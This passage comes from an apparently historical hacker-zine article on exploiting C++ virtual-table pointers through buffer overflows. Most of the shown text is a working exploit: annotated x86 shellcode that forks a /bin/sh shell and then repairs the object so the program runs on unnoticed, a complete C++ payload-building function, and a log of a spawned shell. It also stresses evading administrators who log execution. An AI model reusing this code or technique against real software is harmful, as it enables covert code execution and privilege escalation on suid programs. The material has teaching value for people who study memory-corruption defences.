- +--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ
-
- Where: B represents bytes of the Buffer of MyClass4.
- C represents bytes of the Buffer of MyClass1.
- P represents bytes of a pointer to a MyClass1 object class.
- X represents bytes of the possible VPTR of the MyClass4 object class.
- (it is not necessary to have a VPTR in the class containing the
- pointer).
- Y represent bytes of the VPTR of the MyClass1 object class.
-
- This technique doesn't depend here on the structure of the internal class to
- the compiler (offset of VPTR), but depend of the structure of the class
- defined by the programmer, and dus it can even be exploited in programs coming
- from compilers placing the VPTR at the beginning of the object in memory (for
- example Visual C++).
- Besides, in this case, the MyClass3 object class possibly have been created
- on the stack (local object), what makes that localization is a lot easier,
- being given that the address of the object will probably be fixed. However, in
- this case, it will be necessary that our stack be executable, and not our heap
- as previously.
-
- We know how to find the values for 2 of the 3 parameters of our
- BufferOverflow() function (number of VTABLE addresses, and offset of the VPTR)
- Indeed these 2 parameters can be easily founded in debugging the code of the
- program, and besides, their value is fixed from on execution to another.
- On the other hand, the 1st parameter (address of the object in memory), is
- more difficult to establish. In fact, we need this address only because we
- want to place the VTABLE that we created into the buffer.
-
-
- ----| A particular example
-
- Let's suppose that we have a class whose last variable is an exploitable
- buffer. This means that if we fill this buffer (for example of size N bytes),
- with N + 4 bytes, we know that we don't have modify anything else in the space
- memory of the process that the content of our buffer, the VPTR, and the
- byte following our VPTR (because character 00h).
-
- Perhaps could we take advantage of this situation. But how? We are going to
- use the buffer, to launch a shellcode, and next to follow the execution of the
- program! The advantage will be enormous, since the program would not be
- finished brutally, and dus will not alert someone eventually controlling or
- logging its execution (administrators...).
-
- Is it possible?
- It would be necessary to first execute our shellcode, to rewrite a chain in
- our buffer, and to restore the stack in the initial state (just before the
- call of our method). Then, it would only remain us to recall the initial
- method, so that the program normally continues.
-
- Here are several remarks and problems that we are going to meet:
- - it is necessary to completely rewrite our buffer (so that the continuation
- of the execution uses appropriate values), and therefore to overwrite our own
- shellcode.
- To avoid it, we are going to copy a part of our shellcode (the smallest part
- as possible ) to another place in memory.
- In this case we are going to copy a part of our shellcode to the stack (we
- will call this part of code "stackcode"). It should not pose any particularly
- problems if our stack is executable.
- - We had mentioned before a "strange handling", that consisted to add an
- offset to the address of our object, and to place this result on the stack,
- what provided the This pointer to the executed method.
- The problem is, that here, the offset that is going to be added to the
- address of our object is going to be took in our VTABLE, and that this offset
- cannot be 0 (because we cannot have 00h bytes in our buffer).
- We are going to choose an arbitrary value for this offset, that we will place
- in our VTABLE, and correct the This value on the stack later, with a
- corresponding subtraction.
- - we are going to make a fork () on our process, to launch the execution of
- the shell (exec ()), and to wait for its termination (wait ()), to continue
- our execution of the main program.
- - the address where we will continue our execution is constant, because it is
- the address of the original method (presents in the VTABLE of our object's
- relative class).
- - we know that we can use our EAX register, because this one would be
- overwritten in any case by our method's return value.
- - we cannot include any 00h byte in our buffer. We then should regenerate
- these bytes (necessary for our strings) at run time.
-
- While applying all these important points, we are going to try to construct a
- buffer according to the following diagram:
-
- +------------------------------------<-(1)---------------------------------+
- | our VTABLE |
- =+=================== ==+=
- 9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL
- ==+= ==+= | | | ========
- | | | | | \
- | +-->--+ | | \(a copy on the stack)
- | | | ========
- +---(2)-->--------+ | BBB... B
- | | |
- +-(3)->+ +--> old method
-
- Where: 9 represent NOP bytes (90h).
- T represents bytes forming the word of the offset who will be added to
- the pointer on the stack (strange handling ;).
- M represents the address in our buffer of the beginning of our
- shellcode.
- S represents the address in our buffer of the "/bin/sh" string.
- 0 represented 90h bytes, who will be initialized to 00h at run time
- (necessary for exec ()).
- /bin/sh represents the "/bin/sh" string, without any 00h termination
- byte.
- A represents a byte of our shellcode (principally to run the shell, then
- to copy the stackcode on the stack and to run it).
- B represents a byte of our stackcode (principally to reset our buffer
- with a new string, and to run the original method to continue the
- execution of the original program.
- newstring represents the "newstring" string, that will be recopied in
- the buffer after execution of the shell, to continue the execution.
- V represents a byte of the VPTR, that must point back to the beginning
- of our buffer (to our VTABLE).
- L represents the byte that will be copy after the VPTR, and that will
- be a 0hh byte.
-
- In a more detailed manner, here are the content of our shellcode and
- stackcode:
-
-
- pushl %ebp //save existing EBP
- movl %esp,%ebp //stack frame creation
- xorl %eax,%eax //EAX=0
- movb $0x31,%al //EAX=$StackCodeSize (size of the code
- // who will be copied to the stack)
- subl %eax,%esp //creation of a local variable to
- // contain our stackcode
- pushl %edi
- pushl %esi
- pushl %edx
- pushl %ecx
- pushl %ebx //save registers
- pushf //save flags
- cld //direction flag=incrementation
- xorl %eax,%eax //EAX=0
- movw $0x101,%ax //EAX=$AddThis (value added for
- // calculating This on the stack)
- subl %eax,0x8(%ebp) //we substract this value from the
- // current This value on the stack, to
- // restore the original This.
- xorl %eax,%eax //EAX=0
- movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset
- // (address of NULL dword in our
- // buffer)
- stosl %eax,%es:(%edi) //we write this NULL in the buffer
- movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset
- // (address of 00h from "/bin/sh")
- stosb %al,%es:(%edi) //we write this 00h at the end of
- // "/bin/sh"
- movb $0x2,%al
- int $0x80 //fork()
- xorl %edx,%edx //EDX=0
- cmpl %edx,%eax
- jne 0x804a8c1 //if EAX=0 then jump to LFATHER
- // (EAX=0 if father process)
-
- movb $0xb,%al //else we are the child process
- movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset
- // (address of "/bin/sh")
- movl $0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset
- // (adresse of address of "/bin/sh")
- xorl %edx,%edx //EDX=0h (NULL)
- int $0x80 //exec() "/bin/sh"
-
- LFATHER:
- movl %edx,%esi //ESI=0
- movl %edx,%ecx //ECX=0
- movl %edx,%ebx //EBX=0
- notl %ebx //EBX=0xFFFFFFFF
- movl %edx,%eax //EAX=0
- movb $0x72,%al //EAX=0x72
- int $0x80 //wait() (wait an exit from the shell)
- xorl %ecx,%ecx //ECX=0
- movb $0x31,%cl //ECX=$StackCodeSize
- movl $0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset
- // (address of beginning of the
- // stackcode)
- movl %ebp,%edi //EDI point to the end of or local
- // variable
- subl %ecx,%edi //EDI point to the beginning of or
- // local variable
- movl %edi,%edx //EDX also point to the beginning of
- // or local variable
- repz movsb %ds:(%esi),%es:(%edi) //copy our stackcode into our local
- // variable on the stack
- jmp *%edx //run our stackcode on the stack
-
- stackcode:
- movl $0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset
- // (point to the new string we want to
- // rewrite in the buffer)
- movl $0x804a860,%edi //EDI=$BufferAddress (point to the
- // beginning of our buffer)
- xorl %ecx,%ecx //ECX=0
- movb $0x9,%cl //ECX=$NewBufferSize (length of the
- // new string)
- repz movsb %ds:(%esi),%es:(%edi) //copy the new string at the
- // beginning of our buffer
- xorb %al,%al //AL=0
- stosb %al,%es:(%edi) //put a 00h at the end of the string
- movl $0x804a960,%edi //EDI=$BufferAddress+$VPTROffset
- // (address of VPTR)
- movl $0x8049730,%eax //EAX=$VTABLEAddress (adresse of the
- // original VTABLE from our class)
- movl %eax,%ebx //EBX=$VTABLEAddress
- stosl %eax,%es:(%edi) //correct the VPTR to point to the
- // original VTABLE
- movb $0x29,%al //AL=$LastByte (byte following the
- // VPTR in memory)
- stosb %al,%es:(%edi) //we correct this byte
- movl 0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4
- // (EAX take the address of the
- // original method in the original
- // VTABLE).
- popf
- popl %ebx
- popl %ecx
- popl %edx
- popl %esi
- popl %edi //restore flags and registers
- movl %ebp,%esp
- popl %ebp //destroy the stack frame
- jmp *%eax //run the original method
-
-
- We now must code a BufferOverflow() function that is going to "compile" us the
- shellcode and the stackcode, and to create the structure of our buffer.
- Here are parameters that we should pass to this function:
- - BufferAddress = address of our buffer in memory.
- - IAddress = index in the VTABLE of the 1st method that will be executed.
- - VPTROffset = offset in our buffer of the VPTR to overwrite.
- - AddThis = value that will be added to the This pointer on the stack, because
- of the "strange handling".
- - VTABLEAddress = address of the original VTABLE of our class (coded in the
- executable).
- - *NewBuffer = a pointer to the new chain that we want to place in our buffer
- to normally continue the program.
- - LastByte = the original byte following the VPTR in memory, that is
- overwritten at the time of the copy of our buffer in the original buffer,
- because of the 00h.
-
- Here is the resulting code of the program (bo4.cpp):
-
-
- #include <stdio.h>
- #include <string.h>
- #include <malloc.h>
-
- #define BUFFERSIZE 256
-
- class BaseClass {
- private:
- char Buffer[BUFFERSIZE];
- public:
- void SetBuffer(char *String) {
- strcpy(Buffer,String);
- }
- virtual void PrintBuffer() {
- printf("%s\n",Buffer);
- }
- };
-
- class MyClass1:public BaseClass {
- public:
- void PrintBuffer() {
- printf("MyClass1: ");
- BaseClass::PrintBuffer();
- }
- };
-
- class MyClass2:public BaseClass {
- public:
- void PrintBuffer() {
- printf("MyClass2: ");
- BaseClass::PrintBuffer();
- }
- };
-
- char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset,
- unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) {
-
- char *CBuf;
- unsigned long *LBuf;
- unsigned short *SBuf;
- char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize;
- unsigned long i,
- MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset,
- ShellCodeOffset,StackCodeOffset,
- NewBufferOffset,NewBuffer00Offset,
- LastByteOffset;
- char *BinSh="/bin/sh";
-
- CBuf=(char*)malloc(VPTROffset+4+1);
- LBuf=(unsigned long*)CBuf;
-
- BinShSize=(char)strlen(BinSh);
- ShellCodeSize=0x62;
- StackCodeSize=0x91+2-0x62;
- NewBufferSize=(char)strlen(NewBuffer);
-
- MethodAddressOffset=IAddress*4;
- BinShAddressOffset=MethodAddressOffset+4;
- NullOffset=MethodAddressOffset+8;
- BinShOffset=MethodAddressOffset+12;
- BinSh00Offset=BinShOffset+(unsigned long)BinShSize;
- ShellCodeOffset=BinSh00Offset+1;
- StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize;
- NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize;
- NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize;
- LastByteOffset=VPTROffset+4;
-
- for (i=0;i<VPTROffset;i++) CBuf[i]='\x90'; //NOPs
- SBuf=(unsigned short*)&LBuf[2];
- *SBuf=AddThis; //added to the This pointer on the stack
-
- LBuf=(unsigned long*)&CBuf[MethodAddressOffset];
- *LBuf=BufferAddress+ShellCodeOffset; //shellcode's address
-
- LBuf=(unsigned long*)&CBuf[BinShAddressOffset];
- *LBuf=BufferAddress+BinShOffset; //address of "/bin/sh"
-
- memcpy(&CBuf[BinShOffset],BinSh,BinShSize); //"/bin/sh" string
-
- //shellcode:
-
- i=ShellCodeOffset;
- CBuf[i++]='\x55'; //pushl %ebp
- CBuf[i++]='\x89';CBuf[i++]='\xE5'; //movl %esp,%ebp
- CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
- CBuf[i++]='\xB0';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%al
- CBuf[i++]='\x29';CBuf[i++]='\xC4'; //subl %eax,%esp
-
- CBuf[i++]='\x57'; //pushl %edi
- CBuf[i++]='\x56'; //pushl %esi
- CBuf[i++]='\x52'; //pushl %edx
- CBuf[i++]='\x51'; //pushl %ecx
- CBuf[i++]='\x53'; //pushl %ebx
- CBuf[i++]='\x9C'; //pushf
-
- CBuf[i++]='\xFC'; //cld
-
- CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
- CBuf[i++]='\x66';CBuf[i++]='\xB8'; //movw $AddThis,%ax
- SBuf=(unsigned short*)&CBuf[i];*SBuf=AddThis;i=i+2;
- CBuf[i++]='\x29';CBuf[i++]='\x45';CBuf[i++]='\x08'; //subl %eax,0x8(%ebp)
-
- CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
-
- CBuf[i++]='\xBF'; //movl $BufferAddress+$NullOffset,%edi
- LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NullOffset;i=i+4;
- CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)
-
- CBuf[i++]='\xBF'; //movl $BufferAddress+$BinSh00Offset,%edi
- LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinSh00Offset;i=i+4;
- CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
-
- CBuf[i++]='\xB0';CBuf[i++]='\x02'; //movb $0x2,%al
- CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (fork())
-
- CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx
- CBuf[i++]='\x39';CBuf[i++]='\xD0'; //cmpl %edx,%eax
- CBuf[i++]='\x75';CBuf[i++]='\x10'; //jnz +$0x10 (-> LFATHER)
-
- CBuf[i++]='\xB0';CBuf[i++]='\x0B'; //movb $0xB,%al
- CBuf[i++]='\xBB'; //movl $BufferAddress+$BinShOffset,%ebx
- LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4;
- CBuf[i++]='\xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx
- LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4;
- CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx
- CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (execve())
-
- //LFATHER:
- CBuf[i++]='\x89';CBuf[i++]='\xD6'; //movl %edx,%esi
- CBuf[i++]='\x89';CBuf[i++]='\xD1'; //movl %edx,%ecx
- CBuf[i++]='\x89';CBuf[i++]='\xD3'; //movl %edx,%ebx
- CBuf[i++]='\xF7';CBuf[i++]='\xD3'; //notl %ebx
- CBuf[i++]='\x89';CBuf[i++]='\xD0'; //movl %edx,%eax
- CBuf[i++]='\xB0';CBuf[i++]='\x72'; //movb $0x72,%al
- CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (wait())
-
- CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx
- CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl
-
- CBuf[i++]='\xBE'; //movl $BufferAddress+$StackCodeOffset,%esi
- LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4;
-
- CBuf[i++]='\x89';CBuf[i++]='\xEF'; //movl %ebp,%edi
- CBuf[i++]='\x29';CBuf[i++]='\xCF'; //subl %ecx,%edi
- CBuf[i++]='\x89';CBuf[i++]='\xFA'; //movl %edi,%edx
-
- CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)
-
- CBuf[i++]='\xFF';CBuf[i++]='\xE2'; //jmp *%edx (stackcode)
-
- //stackcode:
-
- CBuf[i++]='\xBE'; //movl $BufferAddress+$NewBufferOffset,%esi
-
- LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4;
- CBuf[i++]='\xBF'; //movl $BufferAddress,%edi
- LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4;
- CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx
- CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl
- CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)
-
- CBuf[i++]='\x30';CBuf[i++]='\xC0'; //xorb %al,%al
- CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
-
- CBuf[i++]='\xBF'; //movl $BufferAddress+$VPTROffset,%edi
- LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4;
- CBuf[i++]='\xB8'; //movl $VTABLEAddress,%eax
- LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4;
- CBuf[i++]='\x89';CBuf[i++]='\xC3'; //movl %eax,%ebx
- CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)
-
- CBuf[i++]='\xB0';CBuf[i++]=LastByte; //movb $LastByte,%al
- CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
-
- CBuf[i++]='\x8B';CBuf[i++]='\x43';
- CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax
-
- CBuf[i++]='\x9D'; //popf
- CBuf[i++]='\x5B'; //popl %ebx
- CBuf[i++]='\x59'; //popl %ecx
- CBuf[i++]='\x5A'; //popl %edx
- CBuf[i++]='\x5E'; //popl %esi
- CBuf[i++]='\x5F'; //popl %edi
-
- CBuf[i++]='\x89';CBuf[i++]='\xEC'; //movl %ebp,%esp
- CBuf[i++]='\x5D'; //popl %ebp
-
- CBuf[i++]='\xFF';CBuf[i++]='\xE0'; //jmp *%eax
-
- memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize);
- //insert the new string into the buffer
-
- LBuf=(unsigned long*)&CBuf[VPTROffset];
- *LBuf=BufferAddress; //address of our VTABLE
-
- CBuf[LastByteOffset]=0; //last byte (for strcpy())
-
- return CBuf;
- }
-
- void main() {
- BaseClass *Object[2];
- unsigned long *VTABLEAddress;
-
- Object[0]=new MyClass1;
- Object[1]=new MyClass2;
-
- printf("Object[0] address = %X\n",(unsigned long)&(*Object[0]));
- VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256);
- printf("VTable address = %X\n",*VTABLEAddress);
-
- Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE,
- 0x0101,*VTABLEAddress,"newstring",0x29));
-
- Object[1]->SetBuffer("string2");
- Object[0]->PrintBuffer();
- Object[1]->PrintBuffer();
- }
-
-
- Now, we are ready to compile and to check...
-
- rix@pentium:~/BO > gcc -o bo4 bo4.cpp
- rix@pentium:~/BO > bo4
- adresse Object[0] = 804A860
- adresse VTable = 8049730
- sh-2.02$ exit
- exit
- MyClass1: newstring
- MyClass2: string2
- rix@pentium:~/BO >
-
- And as foreseen, our shell executes himself, then the program continue its
- execution, with a new string in the buffer ("newstring ")!!!
-
-
- Conclusion
- ==========
- To summarize, let's note that the basis technique requires the following
- conditions for success:
- - a buffer of a certain minimal size
- - suid program
- - executable heap and/or executable stack (according to techniques)
- - to know the address of the beginning of the buffer (on the heap or on the
- stack)
- - to know the offset from the beginning of the buffer of the VPTR (fixed for
- all executions)
- - to know the offset in the VTABLE of the pointer to the 1st method executed
- after the overflow (fixed for all executions)
- - to know the address of the VTABLE if we want to continue the execution of
- the program correctly.
-
- I hope this article will have once again show you how pointers (more and more
- used in modern programming ) can be very dangerous in some particular cases.
-
- We notice that some languages as powerful as C++, always include some
- weakness, and that this is not with a particular language or tools that a
- program becomes secured, but mainly because of the knowledge and expertise
- of its conceivers...
-
- Thanks to: route, klog, mayhem, nite, darkbug.
-
- |EOF|-------------------------------------------------------------------------|
-